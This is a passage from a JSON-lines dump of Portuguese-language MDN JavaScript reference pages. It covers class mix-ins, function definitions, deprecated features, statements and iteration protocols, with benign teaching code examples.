}\n}\n\nclass Leao extends Gato {\n  falar() {\n    super.falar();\n    console.log(this.nome + \" roars.\");\n  }\n}\n\nlet leao = new Leao(\"Fuzzy\");\nleao.falar();\n\n// Fuzzy faça barulho.\n// Fuzzy roars.\n```\n\nMix-ins\n-------\n\nSubclasses abstratas ou *mix-ins* são templates para classes. Uma classe do ECMAScript pode apenas ter uma classe pai, assim sendo, não é possível a classe ter herança múltipla.\n\nPara se ter um comportamento similar ao de herança múltipla no ECMAScript usa-se mix-ins, uma forma de implementar mix-ins é usar um template de subclasse que é uma função que instancia uma classe base e retorna uma subclasse extendida desta classe base:\n\n\n```js\nclass Humano {\n  constructor(nome) {\n    this.nome = nome;\n  }\n  andar() {\n    return this.nome + \" andou um passo\";\n  }\n}\n\nconst HumanoFalante = (Base) =>\n  class extends Base {\n    falar() {\n      return this.nome + \" diz: olá mundo!\";\n    }\n  };\n\nconst HumanoFalanteMixado = (Base) => class extends Base {};\n\nconst HumanoFinal = HumanoFalanteMixado(HumanoFalante(Humano));\n\nconst humano = new HumanoFinal(\"Bill Gates\");\n\nconsole.log(humano.andar());\nconsole.log(humano.falar());\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-class-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nRodando com Scratchpad\n----------------------\n\nUma classe não pode ser redefinida. Se você estiver rodando código com Scratchpad (Menu do Firefox Ferramentas > Web Developer > Scratchpad) e você acionar 'Run' a uma definição de uma classe com o mesmo nome duas vezes, você verá um confuso SyntaxError: redeclaration of let <class-name> (Erro de Sintaxe: redeclaração de let <nome-da-classe>).\n\n Para reacionar (re-run) uma definição, use o menu do Scratchpad em Execute > Reload and Run (Executar > Atualizar e Rodar).\n Por favor, vote no bug #1428672.\n\nVeja também\n-----------\n\n* Funções\n* Declaração de `classes` (class declaration)\n* Expressão de `classes` (class expression)\n* `super`\n* Blog post: \"ES6 In Depth: Classes\""}
{"title":"Funções - JavaScript","text":"Funções\n=======\n\nDe modo geral, função é um \"subprograma\" que pode ser *chamado* por código externo (ou interno no caso de recursão) à função. Assim como o programa em si, uma função é composta por uma sequência de instruções chamada *corpo da função*. Valores podem ser *passados* para uma função e ela vai *retornar* um valor.\n\nEm JavaScript, funções são objetos de primeira classe, pois elas podem ter propriedades e métodos como qualquer outro objeto. O que as difere de outros objetos é que as funções podem ser chamados. Em resumo, elas são objetos `Function`.\n\nPara mais exemplos e explicações, veja também o Guia de JavaScript sobre funções.\n\nDescrição\n---------\n\nToda função em JavaScript é um objeto `Function`. Veja `Function` para informação das propriedades e métodos dos objetos `Function`.\n\nFunções não são como procedimentos (*procedure*). Uma função sempre retorna um valor, mas um procedimento pode ou não retornar um valor.\n\nPara retornar um valor diferente do padrão, uma função deve ter uma instrução return que específica o valor a ser retornado. Uma função sem um `return` retornará um valor padrão. No caso de um método construtor chamado com a palavra reservada `new`, o valor padrão é o valor do parâmetro `this`. Para todas as outras funções, o valor padrão de retorno é `undefined`.\n\nOs parâmetros de uma função são chamados de argumentos da função. Argumentos são passados para a função *por valor*. Se uma função muda o valor de um argumento, esta mudança não é refletida globalmente ou na chamada da função. Contudo, referência de objetos são valores também, e eles são especiais: se a função muda as propriedades do objeto referenciado, estas mudanças são visíveis fora da função, como é mostrado no exemplo a seguir:\n\n\n```js\n/\\* Declare a função 'minhaFunção' \\*/\nfunction minhaFuncao(objeto) {\n  objeto.marca = \"Toyota\";\n}\n\n/\\*\n \\* Declare a variável 'meucarro';\n \\* crie e inicialize um novo Objeto;\n \\* atribua referência para 'meucarro'\n \\*/\nvar meucarro = {\n  marca: \"Honda\",\n  modelo: \"Accord\",\n  ano: 1998,\n};\n\n/\\* Exibe 'Honda' \\*/\nconsole.log(meucarro.marca);\n\n/\\* Passe a referência do objeto para a função \\*/\nminhaFuncao(meucarro);\n\n/\\*\n \\* Exibe 'Toyota' como valor para a propriedade 'marca'\n \\* do objeto, mudado pela função.\n \\*/\nconsole.log(meucarro.marca);\n```\n\n\nA palavra reservada `this` não se refere a função sendo executada no momento, então você deve referenciar um objeto `Function` pelo nome, mesmo dentro do corpo da função.\n\nDefinindo funções\n-----------------\n\nHá várias maneiras de definir funções:\n\n### Declaração de função (Instrução `function`)\n\nHá um sintaxe especial para declarar funções (veja Instrução function para detalhes):\n```\n\nfunction nome([param[, param[, ... param]]]) {\n   instruções\n}\n```\n\n\n`nome`\n\nO nome da função.\n\n`param`\n\nO nome de um argumento a ser passado para a função.\n\n`instruções`\n\nAs instruções que formam o corpo da função.\n\n### A expressão function (Operador `function`)\n\nUma expressão function é parecida com uma declaração function e tem até a mesma sintaxe (veja Operador function para detalhes):\n```\n\nfunction [nome]([param] [, param] [..., param]) {\n   instruções\n}\n```\n\n\n`nome`\n\nO nome da função. Pode ser omitido, e neste caso a função é conhecida como função anônima.\n\n`param`\n\nO nome de um argumento a ser passado para a função.\n\n`instruções`\n\nAs instruções que formam o corpo da função.\n\n### O gerador de declaração de função (instrução `function*`)\n\n**Nota:** Expressão Arrow function é uma tecnologia experimental, parte da proposta do ECMAScript 6, e ainda não é amplamente suportada pelos navegadores.\n\nUma expressão arrow function tem uma sintaxe curta e conecta seu valor lexicamente (veja arrow functions para mais detalhes):\n```\n\n([param] [, param]) => {\n   instruções\n}\n\nparam => expressão\n```\n\n\n`param`\n\nO nome de um argumento. Quando não há argumentos deve ser indicado com o uso dos parênteses ( ). Para apenas um argumento os parênteses não são obrigatórios. (por exemplo `foo => 1`)\n\n`instruções ou expressão`\n\nMúltiplas instruções precisam ser envolvidas por chaves. Uma única expressão não requer chaves. A expressão também é implicitamente o valor de retorno dessa função.\n\n### O construtor `Function`\n\n**Nota:** O uso do construtor Function para criar funções não é recomendado uma vez que é requerido o corpo da função como string, o que pode impedir algumas otimizações por parte do motor JS e pode também causar outros problemas.\n\nComo todos os outros objetos, objetos `Function` podem ser criados usando o operador new:\n```\n\nnew Function (arg1, arg2, ... argN, corpoDaFuncao)\n```\n\n\n`arg1, arg2, ... argN`\n\nNenhum ou mais nomes para serem usados pela função como nomes formais de argumentos. Cada um deve ser uma string em conformidade com as regras para um identificador JavaScript válido ou uma lista com tais strings separadas por vírgula; por exemplo \"x\", \"oValor\", ou \"a, b\".\n\n*corpoDaFuncao*\n\nUma string contento as instruções JavaScript correspondendo a definição da função.\n\nInvocar o construtor Function como uma função (sem usar o operador new) the o mesmo efeito de invocá-lo como um construtor comum.\n\nParâmetros de Função\n--------------------\n\n**Nota:** Parâmetros Default e Rest são tecnologias experimentais, parte da proposta do ECMAScript 6, e ainda não são amplamente suportados pelos navegadores.\n\n### Parâmetros Default\n\nParâmetro Default de função permite que parâmetros formais sejam inicializados com valores padrão se nenhum valor ou valor undefined é passado. Para mais detalhes, veja parâmetros default.\n\n### Parâmetros Rest\n\nA sintaxe do parâmetro rest permite representar um número indefinido de argumentos em forma de array. Para mais detalhes, veja parâmetros rest.\n\nO objeto `arguments`\n--------------------\n\nVocê pode referenciar aos argumentos da função dentro da função utilizando o objeto arguments. Veja arguments.\n\n* `arguments` (en-US): Um objeto array-like contendo os argumentos passados para a função atualmente em execução.\n* `arguments.callee` (en-US) \nDeprecated\n: A função atualmente em execução.\n* `arguments.caller`: A função que invocou a função atualmente em execução.\n* `arguments.length` (en-US): O número de argumentos passados para a função.\nDefinindo Métodos de Funções\n----------------------------\n\n### Funções Getter e setter\n\nVocê pode definir getters (métodos de acesso) and setters (métodos de alteração) em qualquer objeto interno padrão ou objeto definido pelo usuário que ofereça suporte à adição de novas propriedades. A sintaxe para definir getters e setters usa a sintaxe literal do objeto.\n\nget\n\nVincula uma propriedade de objeto a uma função que será chamada quando essa propriedade é requisitada.\n\nset\n\nVincula uma propriedade de objeto a uma função a ser chamada quando há uma tentativa de definir essa propriedade.\n\n### Sintaxe dos métodos de funções\n\n**Nota:** Definições de métodos são tecnologias experimentais, parte da proposta do ECMAScript 6, e ainda não são amplamente suportados pelos navegadores.\n\nComeçando com ECMAScript 6, você é capaz de definir métodos próprios em uma sintaxe mais curta, semelhante aos getters e setters. Veja method definitions para mais informações.\n\n\n```js\nvar obj = {\n  foo() {},\n  bar() {},\n};\n```\n\n`Function` constructor vs. function declaration vs. function expression\n-----------------------------------------------------------------------\n\nCompare o seguinte:\n\nUma função definida com `Function` *constructor* atribuída à variável `multiply`\n\n\n```js\nvar multiply = new Function(\"x\", \"y\", \"return x \\* y\");\n```\n\n\nUma *function expression* de uma função anônima atribuída à variável `multiply`\n\n\n```js\nvar multiply = function (x, y) {\n  return x \\* y;\n};\n```\n\n\nUma *function expression* de uma função chamada `func_name` atribuída à variável `multiply`\n\n\n```js\nvar multiply = function func\\_name(x, y) {\n  return x \\* y;\n};\n```\n\n### Diferenças\n\nTodas fazem aproximadamente a mesma coisa, com algumas diferenças sutis:\n\nHá uma distinção entre o nome da função e a variável à qual a função é atribuída. O nome da função não pode ser alterado, enquanto a variável à qual a função está atribuída pode ser reatribuída. O nome da função pode ser usado somente dentro do corpo da função. A tentativa de usá-lo fora do corpo da função resulta em um *error* (ou *undefined* se o nome da função foi declarado anteriormente por meio de uma declaração de variável). Por exemplo:\n\n\n```js\nvar y = function x() {};\nalert(x); // throws an error\n```\n\n\nO nome da função também aparece quando a função é serializada através do `método toString de Function()`.\n\nPor outro lado, a variável à qual a função é atribuída é limitada somente pelo seu escopo, garantindo-se que ele inclui o escopo onde a função é declarada.\n\nComo o quarto exemplo mostra, o nome da função pode ser diferente da variável à qual a função é atribuída. Eles não têm relação um com o outro. Uma declaração de função também cria uma variável com o mesmo nome da função. Assim, ao contrário daquelas definidas por expressões de função, funções definidas por declarações de função podem ser acessadas pelo seu nome no escopo onde elas foram definidas:\n\nUma função definida por '`new Function'` não possui um nome. Entretanto, na máquina de JavaScript SpiderMonkey, a forma serializada da função aparece como se ela tivesse o nome \"anonymous\". Por exemplo, `alert(new Function())` gera como saída:\n\n\n```js\nfunction anonymous() {}\n```\n\n\nJá que a função na realidade não possui um nome, `anonymous` não é uma variável que possa ser acessada dentro da função. Por exemplo, o código seguinte iria resultar em um erro:\n\n\n```js\nvar foo = new Function(\"alert(anonymous);\");\nfoo();\n```\n\n\nAo contrário das funções definidas por expressões de função ou pelo construtor `Function`, uma função definida por uma declaração de função pode ser usada antes da declaração da função em si. Por exemplo:\n\n\n```js\nfoo(); // alerts FOO!\nfunction foo() {\n  alert(\"FOO!\");\n}\n```\n\n\nUma função definida por uma expressão de função herda o escopo atual. Isto é, a função forma um closure. Por outro lado, uma função definida por um construtor `Function` não herda qualquer escopo a não ser o escopo global (que todas as funções herdam).\n\nFunções definidas por expressões de função e declarações de função são analisadas somente uma vez, enquanto aquelas definidas pelo construtor `Function` não são. Isto é, a string que forma o corpo da função, passada para o construtor `Function` precisa ser analisada toda vez que o construtor é chamado. Embora uma expressão de função crie um closure a cada vez, o corpo da função não é reanalisado, assim expressões de função ainda são mais rápidas do que \"`new Function(...)`\". Assim, o construtor `Function` deve geralmente ser evitado sempre que possível.\n\nDeve ser notado, entretanto, que expressões de função e declarações de função aninhadas dentro de uma função gerada pela análise da string de um construtor `Function` não são analisadas repetidamente. Por exemplo:\n\n\n```js\nvar foo = new Function(\n  \"var bar = 'FOO!';\\nreturn(function() {\\n\\talert(bar);\\n});\",\n)();\nfoo(); // O segmento \"function() {\\n\\talert(bar);\\n}\" do corpo da função não é reanalisado.\n```\n\n\nUma declaração de função é muito facilmente (e às vezes de forma não intencional) transformada em uma expressão de função. Uma declaração de função deixa de ser o que ela é nos casos em que:\n\n* se torna parte de uma expressão; ou\n* não é mais um \"elemento fonte\" de uma função ou do script em si. Um \"elemento fonte\" é uma instrução não aninhada no script ou no corpo de uma função:\n\n\n```js\nvar x = 0; // elemento fonte\nif (x == 0) {\n  // elemento fonte\n  x = 10; // não é um elemento fonte\n  function boo() {} // não é um elemento fonte\n}\nfunction foo() {\n  // elemento fonte\n  var y = 20; // elemento fonte\n  function bar() {} // elemento fonte\n  while (y == 10) {\n    // elemento fonte\n    function blah() {} // não é um elemento fonte\n    y++; // não é um elemento fonte\n  }\n}\n```\n\n### Examples\n\n\n```js\n// declaração de função\nfunction foo() {}\n\n// expressão de função\n(function bar() {});\n\n// expressão de função\nx = function hello() {};\n\nif (x) {\n  // expressão de função\n  function world() {}\n}\n\n// declaração de função\nfunction a() {\n  // declaração de função\n  function b() {}\n  if (0) {\n    // expressão de função\n    function c() {}\n  }\n}\n```\n\nDefinindo uma função condicionalmente\n-------------------------------------\n\nAs funções podem ser definidas condicionalmente usando instruções de função (uma extensão permitida para o padrão ECMA-262 Edição 3) ou o construtor 'Function'. Observe que essas instruções de funções não são mais permitidas no ES5 strinct. Além disso, esse recurso não funciona de forma consistente em navegadores, portanto, você não deve confiar nele.\n\nNo script a seguir, a função 'zero' nunca é definida e não pode ser chamada, porque 'if (0)' avalia sua condição como falso:\n\n\n```js\nif (0) {\n  function zero() {\n    document.writeln(\"Isso é zero.\");\n  }\n}\n```\n\n\nIf the script is changed so that the condition becomes '`if (1)`', function `zero` is defined.\n\nNota: Although this kind of function looks like a function declaration, it is actually an expression (or statement), since it is nested within another statement. See differences between function declarations and function expressions.\n\nNota: Some JavaScript engines, not including SpiderMonkey, incorrectly treat any function expression with a name as a function definition. This would lead to `zero` being defined, even with the always-false `if` condition. A safer way to define functions conditionally is to define the function anonymously and assign it to a variable:\n\n\n```js\nif (0) {\n  var zero = function () {\n    document.writeln(\"Aqui tem zero.\");\n  };\n}\n```\n\nExemplo\n-------\n\n### Exemplo: Retornando um número formatado\n\nA função a seguir retorna uma sequência contendo a representação formatada de um número preenchido com zeros à esquerda.\n\n\n```js\n// Esta função retorna uma string preenchida com zeros à esquerda\nfunction padZeros(num, totalLen) {\n  var numStr = num.toString(); // Inicializar valor de retorno como string\n  var numZeros = totalLen - numStr.length; // Calcular números de zeros\n  for (var i = 1; i <= numZeros; i++) {\n    // Preencher a quantidade de zeros\n    numStr = \"0\" + numStr;\n  }\n  return numStr; // Retorna a string já preenchida\n}\n```\n\n\nThe following statements call the padZeros function.\n\n\n```js\nvar resultado;\nresultado = padZeros(42, 4); // retorno \"0042\"\nresultado = padZeros(42, 2); // retorno \"42\"\nresultado = padZeros(5, 4); // retorno \"0005\"\n```\n\n### Example: Determining whether a function exists\n\nYou can determine whether a function exists by using the `typeof` operator. In the following example, a test is peformed to determine if the `window` object has a property called `noFunc` that is a function. If so, it is used; otherwise some other action is taken.\n\n\n```js\nif (\"function\" == typeof window.noFunc) {\n  // use noFunc()\n} else {\n  // do something else\n}\n```\n\n\nNote that in the `if` test, a reference to `noFunc` is used—there are no brackets \"()\" after the function name so the actual function is not called.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Function` (en-US)\n* `function` statement (en-US)\n* `function` operator (en-US)"}
{"title":"Deprecated and obsolete features - JavaScript","text":"Deprecated and obsolete features\n================================\n\nEsta página lista funcionalidades do JavaScript que foram descontinuadas (ou seja, continuam disponíveis mas têm remoção planejada) e obsoletas (ou seja, não estão mais disponíveis).\n\n*Funcionalidades* descontinuadas\n--------------------------------\n\nEstas *features* descontinuadas ainda podem ser usadas, mas com cautela, porque espera-se que sejam removidas por completo no futuro. Aconselha-se que remova-as do seu código.\n\n### Propriedades RegExp\n\nAs propriedades a seguir foram descontinuadas. Isto não afeta o uso delas em replacement strings:\n\n| Propriedade | Descrição |\n| --- | --- |\n| `$1-$9` (en-US) | Encontra *substrings* dentro de parênteses. **Atenção:** Usar estas propriedades pode resultar em problemas, porque extensões do navegador podem modifica-las. Evite-as! |\n| `$_` (en-US) | Ver `input`. |\n| `$*` (en-US) | Ver `multiline`. |\n| `$&` (en-US) | Ver `lastMatch`. |\n| `$+` (en-US) | Ver `lastParen`. |\n| `$`` (en-US) | Ver `leftContext`. |\n| `$'` (en-US) | Ver `rightContext`. |\n| `input` (en-US) | A string encontrada por uma expressão regular. |\n| `lastMatch` (en-US) | Os últimos caracteres encontrados. |\n| `lastParen` (en-US) | A última *substring* entre parênteses que foi encontrada. |\n| `leftContext` (en-US) | A penúltima *substring* encontrada. |\n| `rightContext` (en-US) | A *substring* que segue a que foi encontrada por último. |\n\nAs propriedades a seguir pertencem a instâncias de um `RegExp`, não mais ao objeto `RegExp`:\n\n| Propriedades | Descrição |\n| --- | --- |\n| `global` (en-US) | Determina se deve ou não testar a expressão regular com todas as combinações possíveis em uma *string* ou só com a primeira. |\n| `ignoreCase` | Determina se deve ou não ignorar a capitalização ao tentar encontrar uma combinação em uma *string*. |\n| `lastIndex` (en-US) | O índince que aponta o começo da próxima combinação. |\n| `multiline` (en-US) | Determina se deve ou não procurar por *strings* em várias linhas diferentes. |\n| `source` (en-US) | O texto do padrão. |\n\n### Métodos RegExp\n\n* O método `compile()` foi descontinuado.\n* O método `valueOf` não é mais especializado para `RegExp`. Use `Object.valueOf()`.\n### Propriedades de Função\n\n* As propriedades `caller` e `arguments` foram descontinuadas, porque elas estouram o chamador de funções. Ao invés da propriedade *arguments*, deve-se usar o objeto `arguments` dentro dos fechamentos da função.\n### Legacy generator\n\n* `Legacy generator function statement` (en-US) e `Legacy generator function expression` (en-US) foram descontinuados. No lugar deles, use `function* statement` e `function* expression`.\n* O `JS1.7/JS1.8 Array comprehension` (en-US) e o `JS1.7/JS1.8 Generator comprehension` (en-US) foram descontinuados.\n### Iterador\n\n* `StopIteration` foi descontinuado.\n* `Iterator` (en-US) foi descontinuado.\n### Métodos de objeto\n\n* `watch` e `unwatch` foram descontinuados. No lugar deles, use `Proxy` .\n* `__iterator__` foi descontinuado.\n* `Object.prototype.__noSuchMethod__` foi descontinuado. Use `Proxy` em seu lugar.\n### Métodos de data\n\n* `getYear` e `setYear` foram afetados pelo Bug do Milênio e foram reagrupados em `getFullYear` e `setFullYear`.\n* Deve-se usar `toISOString` ao invés do método descontinuado `toGMTString` em códigos novos.\n* `toLocaleFormat` foi descontinuado.\n### Funções\n\n* Expression closures foram descontinuadas. Use `functions` normais ou arrow functions no lugar delas.\n### Proxy\n\n* Proxy.create e Proxy.createFunction foram descontinuadas. Use `Proxy` no lugar delas.\n* As armadilhas a seguir ficaram obsoletas:\n    + `hasOwn` (Erro do Firefox 980565, Firefox 33).\n    + `getEnumerablePropertyKeys` (Erro do Firefox 783829, Firefox 37)\n    + `getOwnPropertyNames` (Erro do Firefox 1007334, Firefox 33)\n    + `keys` (Erro do Firefox 1007334, Firefox 33)\n### let\n\n* `let blocks` e `let expressions` foram descontinuados.\n### Sequências de escape\n\n* Sequências de escape octais (\\ seguido por um, dois ou três dígitos octais) foram descontinuadas em literais *string* e expressões regulares.\n* As funções `escape` e `unescape` foram descontinuadas. Use `encodeURI`, `encodeURIComponent`, `decodeURI` ou `decodeURIComponent` para codificar e decodificar sequências de escape para caracteres especiais.\n### Métodos de *string*\n\n* HTML wrapper methods como `String.prototype.fontsize` e `String.prototype.big`.\n* `String.prototype.quote` foi removido do Firefox 37.\n* parâmetros flag não padrões em `String.prototype.search`, `String.prototype.match`, e `String.prototype.replace` foram depreciados.\n*Features* obsoletas\n--------------------\n\nEstas *features* obsoletas foram totamente removidas do JavaScript e não podem ser usadas a partir da versão indicada do JavaScript.\n\n### Object\n\n* The `Object.prototype.__proto__` accessors are deprecated. Use `Object.getPrototypeOf` and `Object.setPrototypeOf` instead. This does not apply to the `__proto__` literal key in object literals.\n* The `Object.prototype.__defineGetter__`, `Object.prototype.__defineSetter__`, `Object.prototype.__lookupGetter__`, and `Object.prototype.__lookupSetter__` methods are deprecated. Use `Object.getOwnPropertyDescriptor` and `Object.defineProperty` instead.\n### Function\n\n| Property | Description |\n| --- | --- |\n| `arity` | Number of formal arguments. |\n\n### Array\n\n| Property | Description |\n| --- | --- |\n| `Array.observe()` | Asynchronously observing changes to Arrays. |\n| `Array.unobserve()` | Remove observers. |\n\n### Number\n\n* `Number.toInteger()`\n### ParallelArray\n\n* `ParallelArray`\n### Statements\n\n* `for each...in` is deprecated. Use `for...of` instead.\n* Destructuring `for...in` is deprecated. Use `for...of` instead.\n### E4X\n\nSee E4X for more information.\n\n### Sharp variables\n\nSee Sharp variables in JavaScript for more information."}
{"title":"Instruções e declarações - JavaScript","text":"Instruções e declarações\n========================\n\nAplicações em JavaScript são realizadas através de instruções com uma sintaxe apropriada. Uma única instrução pode abranger multiplas linhas. Multiplas instruções podem estar contidas em uma única linha se cada instrução estiver separada por ponto e vírgula ( ; ).\n\nInstruções e declarações por categoria\n--------------------------------------\n\nPara visualizar em ordem alfabética use a barra de rolagem à esquerda.\n\n### Control flow\n\n`Block`\n\nUma instrução de bloqueio é usada para um grupo de zero ou mais instruções. O bloqueio é delimitado por um par de chaves.\n\n`break`\n\nTermina o atual loop, troca, ou nomeia instruções e transfere o controle do programa para a próxima instrução após a que foi terminada agora.\n\n`continue`\n\nTermina a execução das instruções na atual iteração do atual loop, e continua a execução do loop com a seguinte iteração.\n\n`Empty`\n\nUma instrução vazia é usada para gerar uma \"não-instrução\", ainda que o JavaScrpit espere uma.\n\n`if...else`\n\nExecuta uma instrução se a condição especificada é verdadeira. Se a condição é falsa, outra instrução pode ser executada.\n\n`switch`\n\nRetorna uma expressão, combinando o valor da expressão a condição do caso, e executa a condição associada a este caso.\n\n`throw`\n\nAplica uma exceção definida pelo usuário.\n\n`try...catch`\n\nMarca um bloco de instruções para tentar, e especifica a resposta, uma exceção deve ser retornada.\n\n### Declarações\n\n`var`\n\nDeclara uma variável, opcionalmente inicializando com um valor.\n\nExperimental `let`\n\nDeclara acesso ao local da variável, opcionalmente inicializando com um valor.\n\nExperimental `const`\n\nDeclara uma constante de apenas leitura.\n\n### Funções e classes\n\n`function`\n\nDeclara uma função com os parâmetros especificos.\n\nExperimental `function*`\n\nGera funções habilitando iteradores de escrita mais facilmente.\n\n`return`\n\nEspecifica o valor a ser retornado por uma função.\n\nExperimental `class`\n\nDeclara uma classe.\n\n### Iterações\n\n`do...while`\n\nCria um loop que executa uma especifica instrução até que a condição de teste seja falsa. A condição é retornada depois da execução da instrução, resultando na instrução especificada executando ao menos uma vez.\n\n`for`\n\nCria um loop que consiste em três opções de expressões, entre parenteses e separado por ponto e vírgula, seguido pela instrução executada no loop.\n\nDeprecated \nNon-standard\n `for each...in`\n\nItera uma variável especificada sobre todos os valores das propriedades do objeto. Para cada propriedade distinta, uma instrução especificada é executada.\n\n`for...in`\n\nItera através de enumeráveis propriedades de um objeto, em ordem arbitrária. Para cada propriedade distinta, instruções podem ser executadas.\n\nExperimental `for...of`\n\nItera através de objetos iteráveis (incluindo arrays, array-like objects, iterators and generators (en-US)), invocando uma iteração personalizada com instruções para serem executadas pelo valor de cada propriedade.\n\n`while`\n\nCria um loop que executa uma especifica instrução enquanto o teste da condição for positivo. A condição é retornada antes de executar a instrução.\n\n### Outros\n\n`debugger`\n\nInvoca qualquer funcionalidade de depuração disponível. Se não há funcionabilidade disponível, a instrução não tem efeito.\n\nExperimental `export`\n\nUsado para exportar funções que os deixa disponível para importação em módulos externos, outros scripts.\n\nExperimental `import`\n\nUsado para importar funções exportadas de um módulo externo, outro script.\n\n`label`\n\nFornece uma instrução com um identificador que pode ser referido usando `break` ou `continue` instruções.\n\nDeprecated `with`\n\nExtende o alcance de uma instrução.\n\nVeja também\n-----------\n\n* Operators"}
{"title":"Iteration protocols - JavaScript","text":"Iteration protocols\n===================\n\nAlgumas adições do ECMAScript 2015 não são novos *built-ins* ou uma nova sintaxe, mas protocolos. Estes protocolos podem ser implementados por qualquer objeto desde que respeitando algumas convenções.Existem dois protocolos: O *protocolo iterável* (iterable protocol) e o *protocolo iterador* (iterator protocol).O protocolo iterável (iterable protocol)\n----------------------------------------\n\nO protocolo **iterável** permite que objetos JavaScript definam ou personalizem seu comportamento de iteração, como valores em um loop do construtor `for..of`. Alguns tipos *built-in* são *built-in iterables* com um comportamento de iteração padrão, tal como `Array` ou `Map`, enquanto outros tipos (como `Object`) não são assim.\n\nPara ser **iterável**, um objeto deve implementar o método **@@iterator**, o que significa que o objeto (ou um dos objetos acima de sua cadeia de protótipos) deve ter uma propriedade com uma chave **@@iterator** que está disponível via constante ``Symbol.iterator``:\n\n| Property | Value |\n| --- | --- |\n| `[Symbol.iterator]` | Uma função de zero argumentos que retorna um objeto, em conformidade com o protocolo iterador. |\n\nSempre que um objeto precisa ser iterado (como no início de um loop `for..of`), o método `@@iterator` é chamado sem argumentos e o retorno do **iterador** é usado para obter os valores a serem iterados.\n\nO protocolo iterador (iterator protocol)\n----------------------------------------\n\nO protocolo **iterador** define uma maneira padrão de produzir uma sequência de valores (finito ou infinito).\n\nUm objeto é um iterador quando implementa um método **`next()`** com a semântica adiante:\n\n| Propriedade | Valor |\n| --- | --- |\n| `next` | Uma função sem argumentos que retorna um objeto com duas propriedades:* `done` (boolean)\n    + Tem o valor `true` se o iterador ultrapassar o final\n     da sequência iterada. Nesse caso\n     `value` opcionalmente especifica o valor de retorno\n     do iterador.\n    + Tem o valor `false` se o iterador foi capaz de\n     produzir o próximo valor na sequência. Isso é equivalente a não\n     especificar a propriedade `done`.\n* `value` - qualquer valor JavaScript retornado pelo\n iterador. Pode ser omitido quando `done` é\n `true`.\n\n O método `next` sempre retorna um objeto com propriedades\n apropriadas, incluindo `done` e `value`. Se um\n valor não-objeto é retornado (tal como `false` ou\n `undefined`), será lançado um\n `TypeError` (\"iterator.next() retorna o valor de\n um não-objeto\").\n  |\n\n**Nota:** Não é possível saber de forma reflexiva se um determinado objeto implementa o protocolo do iterador, no entanto, é fácil criar um objeto que satisfaça tanto o iterador quanto os protocolos iteráveis (como mostrado no exemplo abaixo). Fazer isso permite que um iterador seja consumido pelas várias sintaxes que iteráveis esperam. Assim, raramente é desejável implementar o protocolo do iterador sem também implementar iteráveis.\n\n\n```js\nvar myIterator = {\n  next: function () {\n    // ...\n  },\n  [Symbol.iterator]: function () {\n    return this;\n  },\n};\n```\n\n\nExemplos de uso do protocolo de iteração\n----------------------------------------\n\nUma `String` é um exemplo de um objeto iterable built-in:\n\n\n```js\nvar someString = \"hi\";\ntypeof someString[Symbol.iterator]; // \"function\"\n```\n\n\nO iterador padrão de uma string retorna as posições dos caracteres de uma string um por um:\n\n\n```js\nvar iterator = someString[Symbol.iterator]();\niterator + \"\"; // \"[object String Iterator]\"\n\niterator.next(); // { value: \"h\", done: false }\niterator.next(); // { value: \"i\", done: false }\niterator.next(); // { value: undefined, done: true }\n```\n\n\nAlguns construtores built-in, como *spread syntax*, usam o mesmo protocolo de iteração interiormente:\n\n\n```js\n[...someString]; // [\"h\", \"i\"]\n```\n\n\nPodemos redefinir o comportamento de iteração fornecendo nosso próprio `@@iterator`:\n```\n\nvar someString = new String('hi');           // need to construct a String object explicitly to avoid auto-boxing\n\nsomeString[Symbol.iterator] = function() {\n  return { // this is the iterator object, returning a single element, the string \"bye\"\n    next: function() {\n      if (this._first) {\n        this._first = false;\n        return { value: 'bye', done: false };\n      } else {\n        return { done: true };\n      }\n    },\n    _first: true\n  };\n};\n```\n\n\nObserve como redefinir `@@iterator` afeta o comportamento built-in que faz uso do protocolo de iteração:\n\n\n```js\n[...someString]; // [\"bye\"]\nsomeString + \"\"; // \"hi\"\n```\n\nExemplos de Iteráveis\n---------------------\n\n### Iteráveis Built-in\n\n`String`, `Array`, `TypedArray` (en-US), `Map` and `Set` são todos iteráveis internos, porque cada um dos seus objetos protótipos implementa um método `@@iterator`.\n\n### Iteráveis definidos pelo usuário\n\nNós podemos fazer nossos próprios iterables assim:\n```\n\nvar myIterable = {};\nmyIterable[Symbol.iterator] = function* () {\n    yield 1;\n    yield 2;\n    yield 3;\n};\n[...myIterable]; // [1, 2, 3]\n```\n\n### Built-in APIs que aceitam iteráveis\n\nExistem muitas APIs que aceitam iteráveis, por exemplo: `Map([iterable])`, `WeakMap([iterable])`, `Set([iterable])` e `WeakSet([iterable])`:\n```\n\nvar myObj = {};\nnew Map([[1, 'a'], [2, 'b'], [3, 'c']]).get(2);               // \"b\"\nnew WeakMap([[{}, 'a'], [myObj, 'b'], [{}, 'c']]).get(myObj); // \"b\"\nnew Set([1, 2, 3]).has(3);                               // true\nnew Set('123').has('2');                                 // true\nnew WeakSet(function* () {\n    yield {};\n    yield myObj;\n    yield {};\n}()).has(myObj);                                         // true\n```\n\n\nVeja também `Promise.all(iterable)`, `Promise.race(iterable)` e `Array.from()`.\n\n### Sintaxe que espera iteráveis\n\nSome statements and expressions expect iterables, for example the `for-of` loops, spread operator (en-US), `yield*`, and destructuring assignment:\n```\n\nfor(let value of ['a', 'b', 'c']){\n    console.log(value);\n}\n// \"a\"\n// \"b\"\n// \"c\"\n\n[...'abc']; // [\"a\", \"b\", \"c\"]\n\nfunction* gen() {\n  yield* ['a', 'b', 'c'];\n}\n\ngen().next(); // { value:\"a\", done:false }\n\n[a, b, c] = new Set(['a', 'b', 'c']);\na // \"a\"\n```\n\n### Iteráveis não bem formados\n\nIf an iterable's `@@iterator` method doesn't return an iterator object, then it's a non-well-formed iterable. Using it as such is likely to result in runtime exceptions or buggy behavior:\n```\n\nvar nonWellFormedIterable = {}\nnonWellFormedIterable[Symbol.iterator] = () => 1\n[...nonWellFormedIterable] // TypeError: [] is not a function\n```\n\nIterator examples\n-----------------\n\n### Simple iterator\n```\n\nfunction makeIterator(array) {\n    var nextIndex = 0;\n\n    return {\n       next: function() {\n           return nextIndex < array.length ?\n               {value: array[nextIndex++], done: false} :\n               {done: true};\n       }\n    